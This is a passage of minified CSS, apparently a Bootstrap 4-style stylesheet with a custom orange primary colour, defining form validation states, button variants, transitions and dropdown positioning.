0.1875rem)}.custom-select.is-valid,.was-validated .custom-select:valid{border-color:#28a745;padding-right:calc((1em + 0.75rem) * 3 / 4 + 1.75rem);background:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") no-repeat right 0.75rem center/8px 10px, url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%2328a745' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e") #fff no-repeat center right 1.75rem/calc(0.75em + 0.375rem) calc(0.75em + 0.375rem)}.custom-select.is-valid:focus,.was-validated .custom-select:valid:focus{border-color:#28a745;-webkit-box-shadow:0 0 0 0.2rem rgba(40, 167, 69, 0.25);box-shadow:0 0 0 0.2rem rgba(40, 167, 69, 0.25)}.custom-select.is-valid~.valid-feedback,.custom-select.is-valid~.valid-tooltip,.was-validated .custom-select:valid~.valid-feedback,.was-validated .custom-select:valid~.valid-tooltip{display:block}.form-control-file.is-valid~.valid-feedback,.form-control-file.is-valid~.valid-tooltip,.was-validated .form-control-file:valid~.valid-feedback,.was-validated .form-control-file:valid~.valid-tooltip{display:block}.form-check-input.is-valid~.form-check-label,.was-validated .form-check-input:valid~.form-check-label{color:#28a745}.form-check-input.is-valid~.valid-feedback,.form-check-input.is-valid~.valid-tooltip,.was-validated .form-check-input:valid~.valid-feedback,.was-validated .form-check-input:valid~.valid-tooltip{display:block}.custom-control-input.is-valid~.custom-control-label,.was-validated .custom-control-input:valid~.custom-control-label{color:#28a745}.custom-control-input.is-valid~.custom-control-label:before,.was-validated .custom-control-input:valid~.custom-control-label:before{border-color:#28a745}.custom-control-input.is-valid~.valid-feedback,.custom-control-input.is-valid~.valid-tooltip,.was-validated .custom-control-input:valid~.valid-feedback,.was-validated .custom-control-input:valid~.valid-tooltip{display:block}.custom-control-input.is-valid:checked~.custom-control-label:before,.was-validated .custom-control-input:valid:checked~.custom-control-label:before{border-color:#34ce57;background-color:#34ce57}.custom-control-input.is-valid:focus~.custom-control-label:before,.was-validated .custom-control-input:valid:focus~.custom-control-label:before{-webkit-box-shadow:0 0 0 0.2rem rgba(40, 167, 69, 0.25);box-shadow:0 0 0 0.2rem rgba(40, 167, 69, 0.25)}.custom-control-input.is-valid:focus:not(:checked)~.custom-control-label:before,.was-validated .custom-control-input:valid:focus:not(:checked)~.custom-control-label:before{border-color:#28a745}.custom-file-input.is-valid~.custom-file-label,.was-validated .custom-file-input:valid~.custom-file-label{border-color:#28a745}.custom-file-input.is-valid~.valid-feedback,.custom-file-input.is-valid~.valid-tooltip,.was-validated .custom-file-input:valid~.valid-feedback,.was-validated .custom-file-input:valid~.valid-tooltip{display:block}.custom-file-input.is-valid:focus~.custom-file-label,.was-validated .custom-file-input:valid:focus~.custom-file-label{border-color:#28a745;-webkit-box-shadow:0 0 0 0.2rem rgba(40, 167, 69, 0.25);box-shadow:0 0 0 0.2rem rgba(40, 167, 69, 0.25)}.invalid-feedback{display:none;width:100%;margin-top:0.25rem;font-size:80%;color:#dc3545}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:0.25rem 0.5rem;margin-top:.1rem;font-size:0.875rem;line-height:1.5;color:#fff;background-color:rgba(220, 53, 69, 0.9);border-radius:0.25rem}.form-control.is-invalid,.was-validated .form-control:invalid{border-color:#dc3545;padding-right:calc(1.5em + 0.75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23dc3545' viewBox='-2 -2 7 7'%3e%3cpath stroke='%23dc3545' d='M0 0l3 3m0-3L0 3'/%3e%3ccircle r='.5'/%3e%3ccircle cx='3' r='.5'/%3e%3ccircle cy='3' r='.5'/%3e%3ccircle cx='3' cy='3' r='.5'/%3e%3c/svg%3E");background-repeat:no-repeat;background-position:center right calc(0.375em + 0.1875rem);background-size:calc(0.75em + 0.375rem) calc(0.75em + 0.375rem)}.form-control.is-invalid:focus,.was-validated .form-control:invalid:focus{border-color:#dc3545;-webkit-box-shadow:0 0 0 0.2rem rgba(220, 53, 69, 0.25);box-shadow:0 0 0 0.2rem rgba(220, 53, 69, 0.25)}.form-control.is-invalid~.invalid-feedback,.form-control.is-invalid~.invalid-tooltip,.was-validated .form-control:invalid~.invalid-feedback,.was-validated .form-control:invalid~.invalid-tooltip{display:block}.was-validated textarea.form-control:invalid,textarea.form-control.is-invalid{padding-right:calc(1.5em + 0.75rem);background-position:top calc(0.375em + 0.1875rem) right calc(0.375em + 0.1875rem)}.custom-select.is-invalid,.was-validated .custom-select:invalid{border-color:#dc3545;padding-right:calc((1em + 0.75rem) * 3 / 4 + 1.75rem);background:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") no-repeat right 0.75rem center/8px 10px, url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23dc3545' viewBox='-2 -2 7 7'%3e%3cpath stroke='%23dc3545' d='M0 0l3 3m0-3L0 3'/%3e%3ccircle r='.5'/%3e%3ccircle cx='3' r='.5'/%3e%3ccircle cy='3' r='.5'/%3e%3ccircle cx='3' cy='3' r='.5'/%3e%3c/svg%3E") #fff no-repeat center right 1.75rem/calc(0.75em + 0.375rem) calc(0.75em + 0.375rem)}.custom-select.is-invalid:focus,.was-validated .custom-select:invalid:focus{border-color:#dc3545;-webkit-box-shadow:0 0 0 0.2rem rgba(220, 53, 69, 0.25);box-shadow:0 0 0 0.2rem rgba(220, 53, 69, 0.25)}.custom-select.is-invalid~.invalid-feedback,.custom-select.is-invalid~.invalid-tooltip,.was-validated .custom-select:invalid~.invalid-feedback,.was-validated .custom-select:invalid~.invalid-tooltip{display:block}.form-control-file.is-invalid~.invalid-feedback,.form-control-file.is-invalid~.invalid-tooltip,.was-validated .form-control-file:invalid~.invalid-feedback,.was-validated .form-control-file:invalid~.invalid-tooltip{display:block}.form-check-input.is-invalid~.form-check-label,.was-validated .form-check-input:invalid~.form-check-label{color:#dc3545}.form-check-input.is-invalid~.invalid-feedback,.form-check-input.is-invalid~.invalid-tooltip,.was-validated .form-check-input:invalid~.invalid-feedback,.was-validated .form-check-input:invalid~.invalid-tooltip{display:block}.custom-control-input.is-invalid~.custom-control-label,.was-validated .custom-control-input:invalid~.custom-control-label{color:#dc3545}.custom-control-input.is-invalid~.custom-control-label:before,.was-validated .custom-control-input:invalid~.custom-control-label:before{border-color:#dc3545}.custom-control-input.is-invalid~.invalid-feedback,.custom-control-input.is-invalid~.invalid-tooltip,.was-validated .custom-control-input:invalid~.invalid-feedback,.was-validated .custom-control-input:invalid~.invalid-tooltip{display:block}.custom-control-input.is-invalid:checked~.custom-control-label:before,.was-validated .custom-control-input:invalid:checked~.custom-control-label:before{border-color:#e4606d;background-color:#e4606d}.custom-control-input.is-invalid:focus~.custom-control-label:before,.was-validated .custom-control-input:invalid:focus~.custom-control-label:before{-webkit-box-shadow:0 0 0 0.2rem rgba(220, 53, 69, 0.25);box-shadow:0 0 0 0.2rem rgba(220, 53, 69, 0.25)}.custom-control-input.is-invalid:focus:not(:checked)~.custom-control-label:before,.was-validated .custom-control-input:invalid:focus:not(:checked)~.custom-control-label:before{border-color:#dc3545}.custom-file-input.is-invalid~.custom-file-label,.was-validated .custom-file-input:invalid~.custom-file-label{border-color:#dc3545}.custom-file-input.is-invalid~.invalid-feedback,.custom-file-input.is-invalid~.invalid-tooltip,.was-validated .custom-file-input:invalid~.invalid-feedback,.was-validated .custom-file-input:invalid~.invalid-tooltip{display:block}.custom-file-input.is-invalid:focus~.custom-file-label,.was-validated .custom-file-input:invalid:focus~.custom-file-label{border-color:#dc3545;-webkit-box-shadow:0 0 0 0.2rem rgba(220, 53, 69, 0.25);box-shadow:0 0 0 0.2rem rgba(220, 53, 69, 0.25)}.form-inline{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.form-inline .form-check{width:100%}@media (min-width:576px){.form-inline label{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;margin-bottom:0}.form-inline .form-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin-bottom:0}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-plaintext{display:inline-block}.form-inline .custom-select,.form-inline .input-group{width:auto}.form-inline .form-check{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;width:auto;padding-left:0}.form-inline .form-check-input{position:relative;-ms-flex-negative:0;flex-shrink:0;margin-top:0;margin-right:0.25rem;margin-left:0}.form-inline .custom-control{-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.form-inline .custom-control-label{margin-bottom:0}}.btn{display:inline-block;font-weight:400;color:#212529;text-align:center;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;padding:0.375rem 0.75rem;font-size:1rem;line-height:1.5;border-radius:0.25rem;-webkit-transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;-o-transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out}@media (prefers-reduced-motion:reduce){.btn{-webkit-transition:none;-o-transition:none;transition:none}}.btn:hover{color:#212529;text-decoration:none}.btn.focus,.btn:focus{outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(251, 119, 26, 0.25);box-shadow:0 0 0 0.2rem rgba(251, 119, 26, 0.25)}.btn.disabled,.btn:disabled{opacity:0.65}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn-primary{color:#fff;background-color:#fb771a;border-color:#fb771a}.btn-primary:hover{color:#fff;background-color:#eb6304;border-color:#de5e04}.btn-primary.focus,.btn-primary:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(252, 139, 60, 0.5);box-shadow:0 0 0 0.2rem rgba(252, 139, 60, 0.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:#fb771a;border-color:#fb771a}.btn-primary:not(:disabled):not(.disabled).active,.btn-primary:not(:disabled):not(.disabled):active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#de5e04;border-color:#d25904}.btn-primary:not(:disabled):not(.disabled).active:focus,.btn-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-primary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(252, 139, 60, 0.5);box-shadow:0 0 0 0.2rem rgba(252, 139, 60, 0.5)}.btn-secondary{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:hover{color:#fff;background-color:#5a6268;border-color:#545b62}.btn-secondary.focus,.btn-secondary:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(130, 138, 145, 0.5);box-shadow:0 0 0 0.2rem rgba(130, 138, 145, 0.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:not(:disabled):not(.disabled).active,.btn-secondary:not(:disabled):not(.disabled):active,.show>.btn-secondary.dropdown-toggle{color:#fff;background-color:#545b62;border-color:#4e555b}.btn-secondary:not(:disabled):not(.disabled).active:focus,.btn-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-secondary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(130, 138, 145, 0.5);box-shadow:0 0 0 0.2rem rgba(130, 138, 145, 0.5)}.btn-success{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:hover{color:#fff;background-color:#218838;border-color:#1e7e34}.btn-success.focus,.btn-success:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(72, 180, 97, 0.5);box-shadow:0 0 0 0.2rem rgba(72, 180, 97, 0.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:not(:disabled):not(.disabled).active,.btn-success:not(:disabled):not(.disabled):active,.show>.btn-success.dropdown-toggle{color:#fff;background-color:#1e7e34;border-color:#1c7430}.btn-success:not(:disabled):not(.disabled).active:focus,.btn-success:not(:disabled):not(.disabled):active:focus,.show>.btn-success.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(72, 180, 97, 0.5);box-shadow:0 0 0 0.2rem rgba(72, 180, 97, 0.5)}.btn-info{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:hover{color:#fff;background-color:#138496;border-color:#117a8b}.btn-info.focus,.btn-info:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(58, 176, 195, 0.5);box-shadow:0 0 0 0.2rem rgba(58, 176, 195, 0.5)}.btn-info.disabled,.btn-info:disabled{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:not(:disabled):not(.disabled).active,.btn-info:not(:disabled):not(.disabled):active,.show>.btn-info.dropdown-toggle{color:#fff;background-color:#117a8b;border-color:#10707f}.btn-info:not(:disabled):not(.disabled).active:focus,.btn-info:not(:disabled):not(.disabled):active:focus,.show>.btn-info.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(58, 176, 195, 0.5);box-shadow:0 0 0 0.2rem rgba(58, 176, 195, 0.5)}.btn-warning{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:hover{color:#212529;background-color:#e0a800;border-color:#d39e00}.btn-warning.focus,.btn-warning:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(222, 170, 12, 0.5);box-shadow:0 0 0 0.2rem rgba(222, 170, 12, 0.5)}.btn-warning.disabled,.btn-warning:disabled{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:not(:disabled):not(.disabled).active,.btn-warning:not(:disabled):not(.disabled):active,.show>.btn-warning.dropdown-toggle{color:#212529;background-color:#d39e00;border-color:#c69500}.btn-warning:not(:disabled):not(.disabled).active:focus,.btn-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-warning.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(222, 170, 12, 0.5);box-shadow:0 0 0 0.2rem rgba(222, 170, 12, 0.5)}.btn-danger{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:hover{color:#fff;background-color:#c82333;border-color:#bd2130}.btn-danger.focus,.btn-danger:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(225, 83, 97, 0.5);box-shadow:0 0 0 0.2rem rgba(225, 83, 97, 0.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:not(:disabled):not(.disabled).active,.btn-danger:not(:disabled):not(.disabled):active,.show>.btn-danger.dropdown-toggle{color:#fff;background-color:#bd2130;border-color:#b21f2d}.btn-danger:not(:disabled):not(.disabled).active:focus,.btn-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-danger.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(225, 83, 97, 0.5);box-shadow:0 0 0 0.2rem rgba(225, 83, 97, 0.5)}.btn-light{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:hover{color:#212529;background-color:#e2e6ea;border-color:#dae0e5}.btn-light.focus,.btn-light:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(216, 217, 219, 0.5);box-shadow:0 0 0 0.2rem rgba(216, 217, 219, 0.5)}.btn-light.disabled,.btn-light:disabled{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:not(:disabled):not(.disabled).active,.btn-light:not(:disabled):not(.disabled):active,.show>.btn-light.dropdown-toggle{color:#212529;background-color:#dae0e5;border-color:#d3d9df}.btn-light:not(:disabled):not(.disabled).active:focus,.btn-light:not(:disabled):not(.disabled):active:focus,.show>.btn-light.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(216, 217, 219, 0.5);box-shadow:0 0 0 0.2rem rgba(216, 217, 219, 0.5)}.btn-dark{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:hover{color:#fff;background-color:#23272b;border-color:#1d2124}.btn-dark.focus,.btn-dark:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(82, 88, 93, 0.5);box-shadow:0 0 0 0.2rem rgba(82, 88, 93, 0.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:not(:disabled):not(.disabled).active,.btn-dark:not(:disabled):not(.disabled):active,.show>.btn-dark.dropdown-toggle{color:#fff;background-color:#1d2124;border-color:#171a1d}.btn-dark:not(:disabled):not(.disabled).active:focus,.btn-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-dark.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(82, 88, 93, 0.5);box-shadow:0 0 0 0.2rem rgba(82, 88, 93, 0.5)}.btn-outline-primary{color:#fb771a;border-color:#fb771a}.btn-outline-primary:hover{color:#fff;background-color:#fb771a;border-color:#fb771a}.btn-outline-primary.focus,.btn-outline-primary:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(251, 119, 26, 0.5);box-shadow:0 0 0 0.2rem rgba(251, 119, 26, 0.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#fb771a;background-color:transparent}.btn-outline-primary:not(:disabled):not(.disabled).active,.btn-outline-primary:not(:disabled):not(.disabled):active,.show>.btn-outline-primary.dropdown-toggle{color:#fff;background-color:#fb771a;border-color:#fb771a}.btn-outline-primary:not(:disabled):not(.disabled).active:focus,.btn-outline-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-primary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(251, 119, 26, 0.5);box-shadow:0 0 0 0.2rem rgba(251, 119, 26, 0.5)}.btn-outline-secondary{color:#6c757d;border-color:#6c757d}.btn-outline-secondary:hover{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary.focus,.btn-outline-secondary:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(108, 117, 125, 0.5);box-shadow:0 0 0 0.2rem rgba(108, 117, 125, 0.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#6c757d;background-color:transparent}.btn-outline-secondary:not(:disabled):not(.disabled).active,.btn-outline-secondary:not(:disabled):not(.disabled):active,.show>.btn-outline-secondary.dropdown-toggle{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(108, 117, 125, 0.5);box-shadow:0 0 0 0.2rem rgba(108, 117, 125, 0.5)}.btn-outline-success{color:#28a745;border-color:#28a745}.btn-outline-success:hover{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success.focus,.btn-outline-success:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(40, 167, 69, 0.5);box-shadow:0 0 0 0.2rem rgba(40, 167, 69, 0.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#28a745;background-color:transparent}.btn-outline-success:not(:disabled):not(.disabled).active,.btn-outline-success:not(:disabled):not(.disabled):active,.show>.btn-outline-success.dropdown-toggle{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success:not(:disabled):not(.disabled).active:focus,.btn-outline-success:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-success.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(40, 167, 69, 0.5);box-shadow:0 0 0 0.2rem rgba(40, 167, 69, 0.5)}.btn-outline-info{color:#17a2b8;border-color:#17a2b8}.btn-outline-info:hover{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info.focus,.btn-outline-info:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(23, 162, 184, 0.5);box-shadow:0 0 0 0.2rem rgba(23, 162, 184, 0.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#17a2b8;background-color:transparent}.btn-outline-info:not(:disabled):not(.disabled).active,.btn-outline-info:not(:disabled):not(.disabled):active,.show>.btn-outline-info.dropdown-toggle{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info:not(:disabled):not(.disabled).active:focus,.btn-outline-info:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-info.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(23, 162, 184, 0.5);box-shadow:0 0 0 0.2rem rgba(23, 162, 184, 0.5)}.btn-outline-warning{color:#ffc107;border-color:#ffc107}.btn-outline-warning:hover{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning.focus,.btn-outline-warning:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(255, 193, 7, 0.5);box-shadow:0 0 0 0.2rem rgba(255, 193, 7, 0.5)}.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#ffc107;background-color:transparent}.btn-outline-warning:not(:disabled):not(.disabled).active,.btn-outline-warning:not(:disabled):not(.disabled):active,.show>.btn-outline-warning.dropdown-toggle{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning:not(:disabled):not(.disabled).active:focus,.btn-outline-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-warning.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(255, 193, 7, 0.5);box-shadow:0 0 0 0.2rem rgba(255, 193, 7, 0.5)}.btn-outline-danger{color:#dc3545;border-color:#dc3545}.btn-outline-danger:hover{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger.focus,.btn-outline-danger:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(220, 53, 69, 0.5);box-shadow:0 0 0 0.2rem rgba(220, 53, 69, 0.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#dc3545;background-color:transparent}.btn-outline-danger:not(:disabled):not(.disabled).active,.btn-outline-danger:not(:disabled):not(.disabled):active,.show>.btn-outline-danger.dropdown-toggle{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger:not(:disabled):not(.disabled).active:focus,.btn-outline-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-danger.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(220, 53, 69, 0.5);box-shadow:0 0 0 0.2rem rgba(220, 53, 69, 0.5)}.btn-outline-light{color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:hover{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light.focus,.btn-outline-light:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(248, 249, 250, 0.5);box-shadow:0 0 0 0.2rem rgba(248, 249, 250, 0.5)}.btn-outline-light.disabled,.btn-outline-light:disabled{color:#f8f9fa;background-color:transparent}.btn-outline-light:not(:disabled):not(.disabled).active,.btn-outline-light:not(:disabled):not(.disabled):active,.show>.btn-outline-light.dropdown-toggle{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:not(:disabled):not(.disabled).active:focus,.btn-outline-light:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-light.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(248, 249, 250, 0.5);box-shadow:0 0 0 0.2rem rgba(248, 249, 250, 0.5)}.btn-outline-dark{color:#343a40;border-color:#343a40}.btn-outline-dark:hover{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark.focus,.btn-outline-dark:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(52, 58, 64, 0.5);box-shadow:0 0 0 0.2rem rgba(52, 58, 64, 0.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#343a40;background-color:transparent}.btn-outline-dark:not(:disabled):not(.disabled).active,.btn-outline-dark:not(:disabled):not(.disabled):active,.show>.btn-outline-dark.dropdown-toggle{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark:not(:disabled):not(.disabled).active:focus,.btn-outline-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-dark.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(52, 58, 64, 0.5);box-shadow:0 0 0 0.2rem rgba(52, 58, 64, 0.5)}.btn-link{font-weight:400;color:#fb771a;text-decoration:none}.btn-link:hover{color:#c55303;text-decoration:underline}.btn-link.focus,.btn-link:focus{text-decoration:underline;-webkit-box-shadow:none;box-shadow:none}.btn-link.disabled,.btn-link:disabled{color:#6c757d;pointer-events:none}.btn-group-lg>.btn,.btn-lg{padding:0.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:0.3rem}.btn-group-sm>.btn,.btn-sm{padding:0.25rem 0.5rem;font-size:0.875rem;line-height:1.5;border-radius:0.2rem}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:0.5rem}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{-webkit-transition:opacity 0.15s linear;-o-transition:opacity 0.15s linear;transition:opacity 0.15s linear}@media (prefers-reduced-motion:reduce){.fade{-webkit-transition:none;-o-transition:none;transition:none}}.fade:not(.show){opacity:0}.collapse:not(.show){display:none}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition:height 0.35s ease;-o-transition:height 0.35s ease;transition:height 0.35s ease}@media (prefers-reduced-motion:reduce){.collapsing{-webkit-transition:none;-o-transition:none;transition:none}}.dropdown,.dropleft,.dropright,.dropup{position:relative}.dropdown-toggle{white-space:nowrap}.dropdown-toggle:after{display:inline-block;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid;border-right:0.3em solid transparent;border-bottom:0;border-left:0.3em solid transparent}.dropdown-toggle:empty:after{margin-left:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:0.5rem 0;margin:0.125rem 0 0;font-size:1rem;color:#212529;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0, 0, 0, 0.15);border-radius:0.25rem}.dropdown-menu-left{right:auto;left:0}.dropdown-menu-right{right:0;left:auto}@media (min-width:576px){.dropdown-menu-sm-left{right:auto;left:0}.dropdown-menu-sm-right{right:0;left:auto}}@media (min-width:768px){.dropdown-menu-md-left{right:auto;left:0}.dropdown-menu-md-right{right:0;left:auto}}@media (min-width:992px){.dropdown-menu-lg-left{right:auto;left:0}.dropdown-menu-lg-right{right:0;left:auto}}@media (min-width:1200px){.dropdown-menu-xl-left{right:auto;left:0}.dropdown-menu-xl-right{right:0;left:auto}}.dropup .dropdown-menu{top:auto;bottom:100%;margin-top:0;margin-bottom:0.125rem}.dropup .dropdown-toggle:after{display:inline-block;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0;border-right:0.3em solid transparent;border-bottom:0.3em solid;border-left:0.3em solid transparent}.dropup .dropdown-toggle:empty:after{margin-left:0}.dropright .dropdown-menu{top:0;right:auto;left:100%;margin-top:0;margin-left:0.125rem}.dropright .dropdown-toggle:after{display:inline-block;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid transparent;border-right:0;border-bottom:0.3em solid transparent;border-left:0.3em solid}.dropright .dropdown-toggle:empty:after{margin-left:0}.dropright .dropdown-toggle:after{vertical-align:0}.dropleft .dropdown-menu{top:0;right:100%;left:auto;margin-top:0;margin-right:0.125rem}.dropleft .dropdown-toggle:after{display:inline-block;margin-left:0.255em;vertical-align:0.255em;content:""}.dropleft .dropdown-toggle:after{display:none}.dropleft .dropdown-toggle:before{display:inline-block;margin-right:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid transparent;border-right:0.3em solid;border-bottom:0.3em solid transparent}.dropleft .dropdown-toggle:empty:after{margin-left:0}.dropleft .dropdown-toggle:before{vertical-align:0}.dropdown-menu[x-placement^=bottom],.dropdown-menu[x-placement^=left],.dropdown-menu[x-placement^=right],.dropdown-menu[x-placement^=top]{right:auto;bottom:auto}.dropdown-divider{height:0;margin:0.5rem 0;overflow:hidden;border-top:1px solid #e9ecef}.dropdown-item{display:block;width:100%;padding:0.25rem 